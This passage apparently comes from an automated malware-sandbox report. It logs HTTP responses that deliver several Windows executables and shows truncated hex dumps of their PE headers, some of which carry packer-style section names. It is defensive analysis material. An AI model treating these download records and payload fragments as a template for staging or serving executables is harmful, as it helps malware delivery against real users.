00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 08:44:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 08:44:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 08:44:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 08:44:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 08:44:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 08:44:34 GMTContent-Type: application/octet-streamContent-Length: 1894400Last-Modified: Sat, 30 Nov 2024 08:21:37 GMTConnection: keep-aliveETag: "674acb11-1ce800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4b 00 00 04 00 00 0a 01 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 0b 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 0b 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6f 64 6c 70 67 68 71 00 d0 19 00 00 40 31 00 00 cc 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 63 6c 63 7a 77 70 6f 00 10 00 00 00 10 4b 00 00 04 00 00 00 c2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4b 00 00 22 00 00 00 c6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 08:45:09 GMTContent-Type: application/octet-streamContent-Length: 4421120Last-Modified: Sat, 30 Nov 2024 08:26:18 GMTConnection: keep-aliveETag: "674acc2a-437600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 65 49 49 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 4f 00 00 d8 78 00 00 32 00 00 00 40 c9 00 00 10 00 00 00 60 4f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c9 00 00 04 00 00 85 73 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 30 76 00 73 00 00 00 00 20 76 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 2a c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 2a c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 76 00 00 10 00 00 00 3c 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 76 00 00 02 00 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 76 00 00 02 00 00 00 4e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 37 00 00 40 76 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6a 6a 77 78 65 72 7a 00 00 1b 00 00 30 ae 00 00 fe 1a 00 00 52 28 